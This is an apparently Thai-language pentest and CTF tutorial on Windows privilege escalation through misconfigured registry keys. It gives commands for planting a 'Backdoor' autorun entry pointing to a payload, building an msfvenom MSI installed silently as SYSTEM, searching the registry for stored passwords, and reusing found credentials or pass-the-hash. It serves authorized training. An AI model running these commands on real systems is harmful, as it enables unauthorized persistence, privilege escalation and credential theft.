windows-privesc
Registry Privesc
Registry Privesc ยกระดับสิทธิ์ผ่าน registry ที่ตั้งค่าผิด — autorun ที่แก้ได้, AlwaysInstallElevated, credential ที่เก็บใน registry, service registry ที่เขียนได้ บทนี้ลงลึกแต่ละช่องทางพร้อมคำสั่ง reg query/add และการหา credential (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
Intermediate#registry#windows#privesc#autorun#alwaysinstallelevated#credentials#ctf
1. หลักการ
Windows registry เก็บ config ระบบจำนวนมาก หลาย key ถ้าตั้ง permission ผิดหรือมีค่าที่ตั้งผิด นำไป privesc ได้: autorun ที่รันตอน login (ของ admin), AlwaysInstallElevated (ติดตั้ง MSI เป็น SYSTEM), service registry, และ credential ที่ถูกเก็บเป็น plaintext
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
2. Autorun ที่เขียนได้
autorun keysWindows
# ดู autorun (รันตอน boot/login)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# ตรวจ permission ของ key/binary ที่ autorun เรียก
accesschk.exe -wvu "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
# ถ้าเขียน key ได้ หรือเขียน binary ที่ autorun เรียกได้:
# แทนที่ด้วย payload → รอ admin login → รันด้วยสิทธิ์ admin
reg add HKLM\...\Run /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe"
# หรือเขียนทับ binary ที่ autorun ชี้ไป (ถ้า binary เขียนได้)autorun รันตอน login — ถ้าเขียน key/binary ได้ + admin login → รันเป็น admin; ต้องรอ admin login
3. AlwaysInstallElevated (ดูหัวข้อแยกด้วย)
ตรวจ AlwaysInstallElevatedWindows
# ตรวจทั้งสอง key (ต้องเป็น 1 ทั้งคู่)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ถ้า = 0x1 ทั้งคู่ → ติดตั้ง MSI เป็น SYSTEM ได้
# → สร้าง malicious MSI แล้ว msiexec (ดูหัวข้อ AlwaysInstallElevated)ทั้ง HKCU และ HKLM ต้องเป็น 1 → ดูรายละเอียด exploit ในหัวข้อ AlwaysInstallElevated
4. Credential ใน registry
หา password ใน registryWindows
# autologon credential (มัก plaintext!)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# ดู DefaultUserName / DefaultPassword
# VNC, PuTTY, SNMP, อื่นๆ ที่เก็บใน registry
reg query HKCU\Software\SimonTatham\PuTTY\Sessions # PuTTY
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password # VNC
# ค้น password ทั่ว registry
reg query HKLM /f "password" /t REG_SZ /s
reg query HKCU /f "password" /t REG_SZ /s
# WinPEAS/Seatbelt หา credential เหล่านี้อัตโนมัติWinlogon autologon มัก plaintext password; PuTTY/VNC/SNMP เก็บ cred; reg query /f /s ค้นทั่ว
5. Quick Reference
- registry ตั้งผิด → privesc หลายทาง
- autorun: reg query ...\Run; เขียน key/binary ได้ + admin login
- AlwaysInstallElevated: ทั้ง HKCU+HKLM = 1 → MSI เป็น SYSTEM
- credential: Winlogon DefaultPassword, PuTTY/VNC, reg query /f password /s
- ตรวจ permission: accesschk -wvu key
- WinPEAS/Seatbelt หาอัตโนมัติ
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ enum เจอว่า registry อาจตั้งค่าผิด มีแค่ Kali ทำตามนี้ทีละขั้น
- 1รัน winPEAS ก่อน: .\wp.exe quiet cmd fast ดูหมวด Registry ว่ามีแดงพื้นเหลืองไหม
- 2ถ้าไม่ชัด เช็ค AlwaysInstallElevated เอง: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated และ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- 3ถ้าทั้งคู่เป็น 0x1 ให้ไปทำ MSI exploit ทันที (ดูหัวข้อ AlwaysInstallElevated) ข้ามขั้นที่เหลือ
- 4ถ้าไม่ใช่ เช็ค autorun: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run แล้วดูว่า binary ที่ชี้ไปเขียนได้ไหมด้วย icacls "C:\path\to\binary.exe"
- 5เช็ค credential ที่แอบเก็บไว้: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ดู DefaultUserName/DefaultPassword
- 6ค้นแบบกว้างทั่ว registry: reg query HKLM /f password /t REG_SZ /s และ reg query HKCU /f password /t REG_SZ /s
- 7ถ้าเจอ password ให้เอาไปลองล็อกอินซ้ำด้วย nxc smb
-u user -p password - 8ถ้าเจอ autorun key ที่เขียนได้ ให้แทนด้วย payload: reg add HKLM\...\Run /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe" แล้วรอ admin login
- 9ถ้าไม่มีอะไรใน registry เลย ให้ไปเช็ค services/scheduled tasks/token ต่อ
ตัดสินใจ: registry มีอะไรให้ใช้ไหม
รัน winPEAS ดูหมวด Registry
เจอ AlwaysInstallElevated=1 ทั้งคู่ไหม?
✅ เจอ→→ สร้าง MSI exploit ทันที
❌ ไม่เจอ→→ เช็ค autorun/credential ต่อ
msfvenom -f msi -o evil.msi แล้ว msiexec /quiet /qn /i evil.msi
autorun key เขียนได้ไหม (icacls)?
✅ เขียนได้→→ แทน payload แล้วรอ admin login
❌ เขียนไม่ได้→→ ไปหา credential ในregistry แทน
reg query /f password /t REG_SZ /s (ค้นทั่ว)
เจอ password ในregistry ไหม?
✅ เจอ→→ เอาไปลอง login ซ้ำ / pass-the-hash
❌ ไม่เจอเลย→→ ตันในแนว registry ไปทางอื่นต่อ
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| enum registry อัตโนมัติ | winPEAS | - | winpeas (GitHub release PEASS-ng) |
| ดู/แก้ registry key | reg (มากับ Windows เป้าหมาย) | - | - |
| ตรวจ writable key/binary | icacls / accesschk.exe | - | - |
| สร้าง malicious MSI | msfvenom | - | - |
| ทดสอบ credential ที่เจอ | nxc / crackmapexec | pipx install netexec | - |
| เข้า shell ด้วย credential | evil-winrm | gem install evil-winrm | - |
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server | - | - |
🚑 ถ้าตันสนิท ลองท่าถัดไป: AlwaysInstallElevated (ดูรายละเอียด MSI exploit เต็ม), Win Services (misconfig พบบ่อยกว่า), Scheduled Tasks, หรือถ้าเจอ credential แล้วไป Credential Dumping ต่อด้วย Pass-the-Hash
หัวข้อที่เชื่อมโยง
Windows Service Abuseอยู่ใน workflowAlwaysInstallElevatedอยู่ใน workflowWinPEASอยู่ใน workflowScheduled Tasksอยู่ใน workflowUnquoted Service Pathเครื่องมือเดียวกันDLL Hijackingเครื่องมือเดียวกันCredential Dumping (LSASS)อยู่ใน workflowToken Abuse (Potato Attacks)หัวข้อใกล้เคียงWinPEAS Playbookเครื่องมือเดียวกันPATH Hijackingหัวข้อใกล้เคียงNFS no_root_squashหัวข้อใกล้เคียงDocker / Container Escapeหัวข้อใกล้เคียง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้